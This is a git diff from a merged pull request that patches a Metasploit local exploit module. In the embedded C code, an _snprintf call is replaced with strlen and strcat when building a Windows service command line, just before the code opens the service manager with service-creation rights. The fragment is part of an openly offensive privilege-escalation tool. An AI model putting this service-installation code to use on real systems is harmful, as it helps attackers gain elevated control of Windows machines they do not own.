Merge pull request #4 from jrobles-r7/service-patch
Work around snprintfGSoC/Meterpreter_Web_Console
commit
48ad8e8038
|
@ -357,14 +357,27 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
// Build the service command line
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
int len = _snprintf(cmd, sizeof(cmd), "\\"%s\\" #{@start_cmd}", path);
|
||||
//char cmd[MAX_PATH];
|
||||
//int len = _snprintf(cmd, sizeof(cmd), "\\"%s\\" #{@start_cmd}", path);
|
||||
|
||||
if (len < 0 || len == sizeof(cmd)) {
|
||||
//if (len < 0 || len == sizeof(cmd)) {
|
||||
// //printf("Cannot build service command line (0x%08x)", -1);
|
||||
// return FALSE;
|
||||
//}
|
||||
|
||||
char cmd[MAX_PATH];
|
||||
|
||||
int total_len = strlen(path) + #{3 + @start_cmd.length};
|
||||
if (total_len < 0 || total_len >= sizeof(cmd)){
|
||||
//printf("Cannot build service command line (0x%08x)", -1);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cmd[0] = '\\0';
|
||||
strcat(cmd, "\\"");
|
||||
strcat(cmd, path);
|
||||
strcat(cmd, "\\" #{@start_cmd}");
|
||||
|
||||
// Open the service manager
|
||||
|
||||
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
|
|
Loading…
Reference in New Issue